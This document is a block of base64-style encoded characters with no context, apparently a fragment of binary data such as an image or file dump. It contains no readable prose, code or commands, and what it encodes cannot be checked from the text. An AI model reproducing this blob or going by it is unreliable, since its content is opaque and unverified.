e05y8yf+gf9S9av/tv9t+nv83//8//XP/t//279JWbT/7n/6Zb//f/kf/qo/9//6x3+P/+tf/D/+h+r/ - uPo//oQ/8N/6C/8W0ov/8h/5f//TH1f/11/ze/zyP/UP/I/+w//z1/5r/sP/7gHll/+3//H/uvwb/69/ - 83/8G36///P3+U3/g//zd6Cs+//9X/5fv/0f+N/+gaT/8n/wv/rVf+D/8V/+Hr/sP6/+13/y//oPaNHo - J/6PMfyc/+H3/99/41/67/+HP/33/19/5f/9n/2p/331f9/5A/+Pr8hx/3P+wH/r7v/11/7S/xtrsP/3 - f/OP/oH/62/6qy7+rz/o/x79kl/56/9f/8Ev+xf/wL/1H/w/yFX6D/6Pv/If/DdIlT/+837pL/9t/4L/ - 61/+v/+hP/BXf+8fuP5f/khErv/j//K//y6/uvm//7M/lPr+B/9JsrjTv/Vf/h//9z/z//xjf9Pf5f/4 - i//BX/6b/m9f/l//+3/4B/y3f+If+Hf8sn/w/z79K4nNfsXv+H/+wn/wv/gL/8/f8Jf+qj+X5OZ//0/+ - 2t/jV/wvvykZx1/2Z1LKlZZN/lLSUb/sX/87/6//8z/87//JX/of08rJz/zy/+TBr/79yYP/X/7N/+2/ - /b/+6X/w//wP/49//i/4PX7n//vRr/wDf8W//6f+d3/lH/gv/oH/7b9f/a+/6f/15ef/9z/yF/5d/8e/ - +kv/2//7f37wS/63P/L/+Ef/wH+PAp17//f/QQzwe/zM3/G//+5/4L/+P/5v/+Pv93//s3/gf/UH/vK/ - 8P/65B/8F//E/zv/A//T//P3+E//SvKo/tPfn9IYf/zv/9/e/XPJqf+vf///5S/8P/7R7/2B/+2/Ss7A - P/iv/o9/96/43v/5F/6B//nv8Suq/+v4D/z3f49f9L/8y3/jr/rf/8B/+9Hf+6t/9f99+nv8qo//wF/9 - m/6f//7R//XH/tJ/8fd48H/+jv/XP/Iflr/iv/3jf+n/+ef/g//5v/kz/9P/+Gf83//lH/j3UBrnP/n8 - D/yfq/+VFld/wz/wD63+7/8WCuZ/+w//qv/7P/pT/8H/5D/833+v//t/+P3/xy/Jk/k3/v3/8L/4G//3 - w//7n/5X/8Ff+d3/u/1f/sb/6/D3/z//9H/w3/89/qz/42//B//5u//Hx38gLff/j//bX39Fq5K/4t/8 - Va9/kz/wf/pv/69f9Af+73/nL/2Hf4//Ey7nP/q7/B/V7/YH/gTl2LN/8FdV/9fb3+N/+/X/rz/33/+/ - /9df+b//7v/3v/sH/uJ/j7Ko/xOlZv+P//lv/AP/z//7v/s3f+b//Dv//f/73/z9/joKu//r6n+7+L// - 5P/wv/o9/s8/8f/+e/7v/+HqV//4l//3P/uv/t//65e/+v7v8X/9nf/3v/0v05rcP/B/UET9B/4vv+n/ - 9Uf//v/bXYqM/+Pf5c/8P/6df/Hyxf/1q/7v//7ur/rnf8F/8Kv/3L/xD/xr/8Psv/zl/+H/9TeSJ/5/ - /fp/4f/1b//f5Db/qZS8+Z8//z//xH+SYtj/4+3/9Xv9gf/z//Fv/r7/96P/8rf9v/+d3/9vIR/olBr/ - ChKuf+aXr371n/kz/+XdX/Xj/8V//rs0/9M/+Ut/1X/3e9DK4//8e/yP/+D//kf+0j/1H0QO/5f+83/g - f/1v/qo/9V/4pRQ4/m8fU8j4H/0e/8ef/fv/l38nJSr/3t/jv/zf/sExGftf/id+f/l/Vv/939j88qu/ - 8P/6U/7D//iv/TP/w//7D/0Daf2x+lX/5C+lRMJ/8Zv+W+Sr/NFf/S//6h/4y//x6lf+Hv/nr/fr/4P/ - 7u//d/6y/+Xu47/nf//nf+k//hdSqPB//Xn/+7/5M7/8u//XSfV//1V/4H/1z/+Nv/K//Pv+z4//r//q - //jy//wfvvtf/4f/6+/xf7z9v/+F//F/+iM/+1X/6S/983+P/4kco8//2N/jV/2B//s/+g/8isNfcPf/ - +lu//L//+j+SfOtf8sv/1z/xV/2K/+uP/AN/5Z/4g1/17/5uf+Rf+Ok/+C+c/dL/5ZBWDP+p//2/+ht/ - v9/j4H/7G3/pv/kH/i9/50/9X3/8X/h/fPUf/u///e//f/zbF3/lP/hv/8pf+q/+3//Fg/99cfUn/NI/ - 9J/9D//7v/OnKPr776r/5b8lT/f/qn753/t/PPsD/+3f5X+++r/+9n/wX/8f/6c/8V/8F/+vP/X3aP/3 - 3+Pv+z//+//rz/wD/7ff///4X2lR+u/4Xf7vd7/6v/0/vyBX9//6K/+P/+g//Pb//Sf/Humv/t3/wP+k - +j9+l//j36dc8q/6B/+vP+Uf/O9/01/97/+Df9+/96t+8S/9h//O/+ufOPwDf/k/+x/+j//15+Q9/09/ - 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 - Z//i//mn/l9/5H/4n/z+v+r3+L//GHIv/ve//k/4v/6l//D/+JW/6nf5L//zv/MP/O9/j//st/0//tc/ - 8B/6G//vP5NWbP/FP/A//zd+j//zz//Pf5df8fZ3/j/Ofo//+S4l7v6p/5DCF1qO/hv/rz/3l/7P/+D/ - 9Jv+/v/3p//g/0BL3ITK//UX/KX/4X/yz/7f//mv/FV/7C/9S//A81/xJ/6ffyutff3yP/KX/M9X/96v - /hV/4N/7D1b/yv/1+/yB/8bHtHT/f9z9D37Vvf/7L/49/k9isfE/8Af+j3f/77/+96OA+3/6/Ukh/+/f - +z9/5//7f/4Hf+W/+wdSCPs//h7//V/5f/2jf+D/9R9VFF/96t////rFf/7/cfL7/19//h/4X/3+//ef - +X9f/YH/0t1f+n/8mf/H3X/wP6NM7h/4D1f/09tf+r/+Z//iL/mZ//mTf+b//u+uDv/3P/1X/l9/39/6 - b/+P/+u/+3/+D//tf/gf/63/4f/0e9B6xr8Ok/Cv/4NA7j/8v7/7L/zf/8fHn/+Dv/o/v0urcJSOnv3P - H/+fP/kP/vP//n/43/2J/+c2+Tv/0Xf/gv/zn/kH/4d/8v/+m+/+3//y7/+/v/0///f/8Kf/7z/pH/yv - KXX61/7y3+Pb//ff8Qf+7//RX/t//3f/4//5D/+Nv/r3oNTRv/W3/pW/x//8vd/5//71/sB/6n/83/7e - //P8H/yv/41/8OhfpBj54//7P/0Lf/Xb/+M/+7//l7f/57//B/77v+0/SOsld//M//GX/tf/6i+nNO4/ - +Cv/0N+DvMQ/n/L9ZLb+wl/6d/4e//Nv+uf8X80f+L/9w//3r7j4P/+3P5XW9f7Ds1/6L/7f/8lv+qun - //f/+g9ekf/wx/+Bf+5/+N/d/Xf/wP/t9yJ7Qdm8X/YH/re/x3/zn/1vv//v/X/RQvf//asu/o+/4P/+ - n/7GX/nnkkP+f/2P5Imf/bW//8v/4f/882nF7g/81/7Yf/SX/+p/8D/8P37Ff/g/f/l//in/4X/z3/2J - //ev/jv/wf/9//gT/+7/4+//E34Xypz+h//+//X0F/2v//XfSyL3f/zq/+s/+7//u9////id/6///R/8 - mV/9P/6qL/7vf/r3+D/+wV989T9//n/8Dn/gP/IX/sz/9Lv8X1d/4H/8b/yB/94/8Ks+/qX//O/xP/zK - v4Zm6T/9O/+vP5W0xX/7n1396v/k4pf+sb/H//rb0ir1f3zxH/5ff+H/RdmKB//byf/9l/2P/8L/9Xf9 - tv/gf/lf/ZmUU/xP/sH//V/8v//g3+NX/aa/6o/+l//H/+P3+D9/H8q+/W3/27/+D/4bv8f/9vv/gj+R - grL/8O/+U4/+r+/TwsMv+VX/4s/8Lb/iz/0//+b/8P/67B/8e3/Zl//nP/xfV7/87mf//q/+vX6/3+n/ - +vW+9w/+43/n//0nfP4H/uv/IYVi/+vv8X/+43/gf/AP/m//y39a/d+/3z/4q//vX05T9wd+uv1v/J+/ - zT/4P//+v+q//L9/5V/5F/6f//H//a//Hv/H//Ir/7f/mbzH/+uX/I204PZf0qrof/h//u0U8O2Qbf03 - /v7/8H+iDP6f8Mf+gb/6t539yr/w//qT/8H/8Zf9gf9d9X/9C7/H//Q7/l9/Ni06/++/4//xn/yB/9Mf - SHzyN/+rv///9a//j//L7/J//gv/4L/wv/yF/9t/Rrb1XySJ/Tf/wF/+b/5f//3/Rabp6v/8y//v/4rW - if7E//uf+j3+i3/xV1Na7Pf/a3/mV//6tC717/y7vz95o//S3/h//vp/3D/xD/7vv+mv+j6RbkZZ/D/4 - H/zP/tP/8D/5H//3B//3//n7/+o/8f/+lf/Xn0vOwv/xz/9ff8bv/3/9vf/3JVn4/6mmkOG7/9c/9/v/ - 75/833/k73+vID/7L/8l7/63t//m//1v/Iq/8Jf/+v/37/UP/rLf5f/6a//vP+of/C/+xF/9z/6P/9fJ - 7/E//53/x9//f//r//5/dvfP+vhv/BNpleW/ffC//b1/zH/4K/7h//D/+iv/zzv/93/+z/6Bv/wurX78 - lX/nP/gf/P5//y/7L37b/2NNkcM/+F//L1f/55/5D/7v/8Mf+KsRzf7bf+H/8qf+g//F//Hf/MN/4P8x - /Qd/JS0g/4X/+5/4+/9fv8nv8b/++v/Hl3/gd//XP/N3+b//gX/wn/1dftUv/j/+/b/29//llBWq/pdf - Vf2yf/I/+L//3f/7v/wH//uP/8C/9Xf5P/6Jf/x3+Z/+u3/4f/+Scu3/Lq2i/Lb/R/Gn/h7kwPzX//Z/ - +L+RMf5V/+Mv/x3/wF9JMeF/+i/+73/zH/h/Xf3Mr/wb/4//6Pf437+gRb3mV/39//X/+D/9h3/i//13 - /P7N3//L/uX/+3/5I0nm//O/8Zf9iX/DX/B//q7/9//0u5DW+XP/7f/xfz/8v37pP/iv/4P/4P/xh/7S - /+JP/AF5UI+Ij/7n/+x3OSA+/Uv/w//23/0z/+9/7g/81f/9f/h//y7/5/d+6T/7v//K/+OzP/AP/e+u - fuHf/X/9rX/HH/g//Ze0cvKf/YP3Sa/+Gb//L/s9/u+//5f9h7Ru8zv+gf/6//r7/5//ekVLN//sP/iv - /p1HJOn/8+f/1z/wB/7Td/+v34WM5//9u/7f//4/+D/9lf/3f/gf0vrHf/V7/PLf5f/66//Ef5fSEP/X - 9/7Af/L//m//xv/9F//Sv/L3+G9/j8/+t//j7/zf/uy//x/8FZTW+f3/rz/v//6//spn/+CvIiX3B/7P - /+7/8eg//L/ukzf4q37/X/W3/w2/9E/9PX7p//13Usb9T/34H/wX/sx/8D/4H//eX/Gb/o3/9z/+H/4v - f+f/+X/SktR//6//j//XP/tX/IP/xl/4f1X/14M/8H8je/x//PP/9/9y+qt+1V/4y//I//sf+11+xb/4 - f/45f+B/8vv/sn/2T/i/fvnh3/h//+V/4OT/+Gv/go//wF/1D/7SX3X4f/34//2//4P/8784ooXI6lf8 - k7////np3b/mH/yv/8n/61/6B//vX1X9z7/jz/yv//aX//d/83//r9Wv+tv/wP/kH/w///g/8L/8/f+X - 7/0fd3+PX/Vb/v7/x//yf/yb/8dfSItrv8d//k//Lv/Lr/9//kf/1R/4q/7R/+vvJatz9//833+PX/Hv - /p+/4A/8/T791Z/90r/xD/yv/8z/80/+U3+PT/7PP57MzH//3f/78z/wl/2Z/+L/9T/+of/4H/i//Pd/ - /h/43/yTv/Q//Hv/wP/899+lwf65v8d/8k/+j//Xn/MH/pP/9Jf/5+Uf+O/8X//1//g/f/f3/b9/6h/8 - H38PCvV++T/9v/+B/+fnv/Tf/Af/t9/l//zT/+9/7B/8ZX/j//Gr/u9/+ff4M/+vv+Rf/gOb//Xq//wr - KIP29/3fv/7/8Xf/g//x//g//c//8P/4q7/3f+f/93/1H1II9AUlCP6v3/H//PQP/Jf+QOL+v/n/Ji/x - 3/0/fps/8N//D//Xf/t//NXf/dt/9R+4onXgn/oD/90//5/8v//5/5HyoJ//g9cUiI7/2D/wr/o//sn/ - +w/6D//3/+nv/NW/1+/xv9//Xf6vL37TX/rv/9///a/836s/8Ff/Hv/nX/jv/+9f/ouf/4P/9X/4y//I - /+N3/gf/lz/w/3hN2fdf9R/+Of/Xn/B//wH/Z/V///H/9/Wv+t7//cv+wH/7//5fP/8l5HH8xn/g//bH - /pN/4P9W/ev/x7/5B/6L1f/yF/7r//e/Wf3qQ/JHf/IP/I/+71/+6/+f/+c/+O//j7/se//Hn/oH/m// - 4v9x/g/+N//mr/prKWE//79/0//zr/xd/o9nX/yqX/wf/v3/x1/6B/6Ff+L/9bf+gf/bg1/9W98lTCmR - Wf3Kf/f/+Bf/wf/4D/w/7/4f36c0ydV3/q9/7X/5/f/vX///+oP/wf/8y3/ql/71f+Y/+H9/fvcPzP/n - P5ecq//6ipzrv+D//ocrsvz/x5f/19/63cP/+nchMvzJ/+D/+vv/8rf/x93/8H//Q//vv+cPpKXTv5Pc - sP/74//7n/lD/8Bf8Qf+3//bP1z9z//kp3/pH0h+1H/1gNyR/4H03v91///6T/7A//nL/+PHf+kf/x/+ - j7/pr/7bf+nf+wf+p//+X/h//4dkHv+rf/D/pBXDX/YP/gvVr/jf/oM/kDRr89f+sn/0j/0DV5TVqiij - 80t+5X/2D/7v//V/SJ4X+b7/93/1b/6f/zktsfyKP/L/+gv/wX/4d/nffsf/60/473+X1f/07/+Dza/6 - C/+CP/B//fJn/o8/8ff4e/7A//G//hv/77/3/17+gf/8P/3H/vKL/+tX/v6/7O7/Vf2pv8f//D+Sr/Iv - /Yv/119++X//hf/b//BfVf97+3/8Tw/+3V/1v1z96r/8H/zH7/5vf+eL//sfoDT6/f/rj/kD//Nf9n// - 198t/+9/4T/8Vf/s//XP/4H/6f/4q37J3/o3/tI/8j+knPbiD/w//5ff9Ff/ou/84P/8U//Wf/A/qv73 - X0EZ7P/o+H/+H/7N/+t3/r//rv+QjO0X/9d/9Hv813/n/3l//L/+33/zf3bxF5C8/3f/4Op//A//z7/6 - 9/ifPv5t/9Q/8g/8t38PCj9+87/x/6IlclpC/jf/78v/8Ff/2r/NP/gr/42/8f/8M//7//PXpNXbf/k/ - +F3+j//+T6TVi//lPyRV/y8Rb/zvf/v//Xf/of/pf5j9r//Lb/t//p2/By3cXfz3//f/+e/+n7/9//1f - /i7/9+/4P/yff8k/+F/8/v/75//3n/UH/rfVr/ot/8B/+WMKG3/Fn/gP/F+/8V/xB/5bf+rv8at/U1oy - ++/u/t9/7f/91/xiSqXt/O//PKUw/1dap/3uH/iX/t//yV/4q//5/+IPRLD5Kygy+29+5a+i9PGX//cf - 9R+S3flPvvy//sSj3+N/++z//rN+///pX6Sk+C//PX6f/+uP+AMph/rll//Xf/IP/g/U8d/4f/1F/+d/ - +B/9nb/6D/2/fuUf+Mv+9X/0X/0D/7Mv//f/4y/83/7YX/qH/h7U37/4B/71/+P/+fb//uX/46/4c/+9 - //vBn/h//fd/4H/3T375S//T//t/+xP/z//jf/yz/s8/9K/8Pd79r//t/3H2f/+v//h//K+TBvxf/84f - /KrP/4//6//+N0nz/59f/ov/1//8j/7f//Xvf/Tn/R9/zy/77j/4f/8ev/wX/99f/oH/7e9PC15/81/4 - B/6Pf+L4V5JJ+09+2S///f/85//XX3n4B/7nf+r//D/+qo//j1/wf//Df+D/9W/+jb/0n/xD/8L5//V3 - /ol/xvf+wP/yT/w/f8f/+7/6Xf6315T/+WX/M3md/8e/8h/W/9ef+H+N/8P/87//v/9rSoL/uf/XP/1f - /oH/5h/4Ky/+79+e1iv+/v/r7/9n7pIy/a9/xZ/7H/73/8fVryL38N/6Pf7n//b/+psp0vxV/yE5LL/q - b/yT/4Q/9h/8H/6T//D/mP6th3/gv3P3//gt/4P/83/8/F//D//vf/L/oln+v3+Gsvh/6j/4X1Ie4Gcu - /sd//cv/4x85/L//g9/lV/6mvxPl4/7F3+X/+AP/z3+MQsW3/+ev+wf+u7/Lr/6X/8e/+3+f/o/k/v+3 - v/+v/AP//P/7f/i///e/8Vf8nf/32T/4K/7V//v/+j/+1d/jf/8Pfpe//1d8+Sf8jb////m3/rL/8L/6 - Dx/+7//l/0op4r/w//zt/8D/5venYOT3+7//GQqmKbNAuuyPP/pV/+Ev/fP/Qlof+Vf/A1oY/oc//gf/ - xz//lz/4e3/l7/F//DO/x/9Ioev//Vf8+f/3//xv/l9/KC1W/oP/x+H//ddQRuh//xv/r7/hP/xv/kKK - 